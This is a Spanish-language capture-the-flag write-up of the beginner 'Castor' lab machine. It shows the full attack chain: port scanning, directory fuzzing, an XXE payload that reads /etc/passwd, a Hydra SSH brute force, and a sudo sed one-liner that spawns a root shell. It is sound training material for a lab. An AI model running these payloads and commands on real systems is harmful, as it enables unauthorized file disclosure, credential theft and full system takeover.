Castor – The Hackers Labs [Write Up]

Para continuar con máquinas de nivel Principiantes, y catalogadas dentro de la plataforma de TheHackersLabs como «eJPT» de nivel para la certificación, he querido probar a resolver la máquina llamada «Castor» .

Resumen de conceptos trabajados:

Enumeración de servicios Fuzzing web de directorios ocultos Descubrimiento de endpoint XML vulnerable. Explotación XXE Ataque de fuerza bruta SSH Abuso de binarios

Si es tu primera máquina de The Hackers Labs y no sabes cómo empezar a comprometer la máquina, te recomiendo que visites este post donde te cuento paso a paso cómo hacerlo.

Básicamente lo que tienes que hacer es descargarte el laboratorio/máquina de la plataforma, importarla desde tu Virtual Box o VMWare, iniciarla y ya desde tu máquina Kali atacante buscar por la red interna la IP con el comando arp-scan…

El resumen de las tres capturas de imagen anteriores es que:

1. por un lado, mi máquina atacante Kali ha encontrado en mi red una máquina con MAC que empieza por 08 que como sabemos corresponde a máquinas virtualizadas.
2. comprobamos además que la máquina está activa con el mensaje «host is up».
3. por otro lado, confirmamos que esa IP efectivamente es la de nuestra máquina víctima lanzándole un ping y vemos que nos devuelve un TTL de 64 (máquina Linux).

Fase de Enumeración / Escaneo de Puertos

Comenzamos con la fase de reconocimiento y escaneo de puertos y servicios que corren para esa IP víctima.

En estos laboratorios, se suele empezar por un escaneo de puertos por TCP ya que la mayoría de servicios útiles en máquinas de laboratorio (HTTP, SSH, SMB, MySQL, etc.) usan TCP. Si no encontráramos nada por este protocolo, trataríamos de hacer un escaneo con nmap por UDP.

Por tanto, en nuestro caso y para empezar, aplicaremos el siguiente comando nmap por TCP (si quieres conocer el significado de cada comando, te dejo este post donde lo explico):

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.188 -oN Escaneo_TCP

El escaneo nos detecta los típicos puertos abiertos 22 ssh de acceso a usuarios autenticados, y el puerto 80 http donde corre un servidor web.

Conocidos estos dos puertos abiertos de la máquina víctima, lo que hacemos a continuación es enumerar, mediante un script básico de nmap, cuáles son los servicios y versiones que corren para esos puertos.

nmap -sCV -p22,80 192.168.1.188                                                      

Vemos las versiones OpenSSH 9.2p1 para el puerto 22 ssh y el servidor Apache para la versión httpd 2.4.62.

Podemos analizar con searchsploit si hay algún exploit conocido en la BBDD de Exploit-DB pero parece que no hay ninguna pública reportada…

Por lo que mi siguiente paso es analizar la web viendo la IP en Firefox para ver que muestra e investigar potenciales usuarios, etc.

Vemos una web llamada CastorTech sin a priori más información sensible que podamos ver a simple vista (quizás nos apuntamos la versión de Bootstrap a nivel UI 5.3.2).

Sigo analizando de forma activa el código fuente, acceso a ficheros expuestos, etc.

La web parece básicamente un catálogo de productos y servicios con precios, un formulario de contacto y ya…Quizás más adelante se podría ver el envío del formulario y qué respuesta devuelve el servidor por si podemos manipularla.

FUZZING WEB

He revisado el código fuente y no veo ninguna pista…de hecho los enlaces son # anclas a partes de la página, por lo que mi siguiente paso es aplicar fuzzing web con Gobuster para detectar ficheros y directorios ocultos…

gobuster dir -u http://192.168.1.188/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt 

Con esto ya tenemos la forma de ganar intrusión a la máquina víctima (a priori), en lo que parece ser dos directorios, uno de subida de archivos y otro donde se almacenan los archivos subidos.

ENDPOINT XML VULNERABLE

Esto nos podría suponer el crear un archivo malicioso que subir en el servidor de la víctima y conectarnos con una ejecución remota de comandos a nuestra máquina y ganar acceso a la máquina.

Sin embargo la ruta upload.php nos salta un mensaje «xml not provided».

Si tratamos de hacer una petición POST simple mediante curl el servidor nos devuelve el mensaje «Start tag expected, ‘<‘ not found» .

curl -X POST http://192.168.1.188/upload.php -d "test=hola"

Este mensaje es típico de un parser XML, lo que indica que el servidor esperaba que el cuerpo de la petición comenzara con <, es decir, que esperaba XML válido.

Esto nos da una pista, y al parecer upload.php procesa directamente XML. Lo vamos a confirmar enviando una petición con cabecera XML:

curl -X POST http://192.168.1.188/upload.php \
-H "Content-Type: application/xml" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><test>hola</test>'

El error desapareció, confirmando que:

• El endpoint procesa XML.
• El cuerpo se parsea directamente.
• No hay validación previa.

EXPLOTACIÓN XXE

En este punto y sabiendo que muchos parsers XML que no están securizados permiten el uso de External Entities., creamos un payload XXE para intentar leer algún archivo local del sistema como /etc/passwd.

Creamos con nano el fichero «test.xml» con el siguiente contenido:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>

Una vez creado lo que hacemos es enviarlo por POST a esa página upload.php, y vemos que el servidor nos devuelve el contenido de /etc/passwd con un listado de usuarios.

curl -X POST http://192.168.1.188/upload.php \
-H "Content-Type: application/xml" \
--data-binary @test.xml

Tras identificar que el endpoint upload.php procesaba directamente contenido XML, probamos la inyección de una entidad externa (XXE), logrando que el servidor resolviera un recurso local (/etc/passwd).

Se confirman entonces que el parser XML permite entidades externas, que no hay mitigación contra XXE, que tenemos lectura arbitraria de archivos del sistema por lo que la máquina es vulnerable a XML External Entity Injection (XXE). Esto nos permite descubrir el usuario castorcin (/bin/bash como shell válida).

¿Qué es XXE? Es una vulnerabilidad que permite usar XML para hacer que el servidor lea archivos internos o acceda a recursos que no debería.

Básicamente, tú le envías al servidor un XML aparentemente normal, pero dentro escondes una orden que dice “Lee este archivo secreto del sistema y mándamelo.”

Si el servidor no valida correctamente… Te devuelve información sensible como el /etc/passwd de antes.

FUERZA BRUTA HYDRA

Ahora, teniendo el usuario castorcin (lo meto en un nano users.txt), lo que hacemos es mediante fuerza bruta con Hydra, y aplicando un diccionario de contraseñas rockyou, intentar conseguir las credenciales.

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.188

Y ahora tenemos la contraseña «chocolate» para el usuario «castorcin», por lo que nos autenticamos en el p22 y obtenemos la primera flag de usuario.

En este punto lo que hago es investigar los distintos directorios y usuarios internos de la máquina pero no encuentro ni un usuario nuevo ni ningún directorio o archivo crítico, por lo que aplico un «sudo -l» para ver qué comandos o binarios puedo abusar.

Esto significa que el usuario castorcin puede ejecutar el binario /usr/bin/sed como cualquier usuario (incluido root) sin necesidad de contraseña.

Es una configuración peligrosa, ya que sed no es solo un editor de texto: permite ejecutar comandos del sistema mediante la directiva e.

La salida que nos da nos dice:

• ALL : ALL → puede ejecutarlo como cualquier usuario (incluido root)
• NOPASSWD → no necesita contraseña
• /usr/bin/sed → solo puede ejecutar ese binario con sudo

Visto esto, lo que vamos a hacer es ir al repositorio (GTFObins)de binarios e instrucciones de acceso como root para poder abusar de él y acceder a la máquina como root.

ABUSO DE BINARIOS

Buscamos ese binario : https://gtfobins.linuxsec.org/#sed y como sudo nos dice ejecutar el comando:

Por lo que vamos a nuestra terminal, lo ejecutamos, y ya somos root:

sudo sed -n '1e exec sh 1>&0' /etc/hosts

La explicación de cada propiedad del comando es:

• La letra e permite ejecutar comandos del sistema.
• -n → Evita que sed imprima automáticamente cada línea del archivo.
• 1 → aplica la acción en la línea 1 del archivo
• e → ejecuta el comando que sigue
• exec sh → ejecuta una shell
• 1>&0 → redirige la salida estándar para que la shell sea interactiva
• /etc/hosts → es simplemente un archivo que sabemos que existe y tiene al menos una línea. No importa su contenido. Solo necesitamos que sed tenga algo que procesar.

navegamos hasta el directorio root y vemos la flag de root.

RESUMEN DE LA MÁQUINA CASTOR

Primero enumeramos la máquina y al escanear puertos vimos que solo aparecían el 22 (SSH) y 80 (HTTP). Con esa pista nos centramos en la parte web: hicimos fuzzing con Gobuster y encontramos dos rutas clave, /uploads (con listado de ficheros) y /upload.php. Al probar upload.php no nos dejaba “subir” nada directamente, pero al enviar un POST simple con curl el servidor devolvió un error típico de parser: “Start tag expected, ‘<‘ not found”. Eso nos indicó que el endpoint esperaba XML, así que repetimos la petición con Content-Type: application/xml y confirmamos que el backend estaba parseando el cuerpo como XML. Con el procesamiento XML confirmado, dimos el siguiente paso: probar una XXE (XML External Entity Injection). Construimos un XML con un DOCTYPE y una entidad externa apuntando a file:///etc/passwd, lo enviamos con --data-binary y el servidor nos devolvió el contenido del archivo. Gracias a eso pudimos enumerar usuarios del sistema, y entre ellos apareció un usuario real llamado castorcin con shell válida (/bin/bash). Como el puerto 22 estaba abierto, usamos fuerza bruta con Hydra contra SSH con el usuario castorcin y el diccionario rockyou.txt, encontrando la contraseña chocolate. Con esas credenciales nos autenticamos por SSH y ya dentro del sistema localizamos y leímos la flag de usuario (user.txt). Para la escalada de privilegios, hicimos enumeración local y ejecutamos el comando clásico: sudo -l . Con esto vimos qué comandos podíamos ejecutar como administrador, y el sistema nos indicó que castorcin podía ejecutar /usr/bin/sed con NOPASSWD. Consultamos GTFOBins y aplicamos el abuso de sed para lanzar una shell privilegiada (aprovechando que sed puede ejecutar comandos). Al ejecutar el payload con sudo, obtuvimos una shell como root, lo verificamos con whoami y finalmente navegamos a /root para leer la flag final (root.txt), completando así la máquina.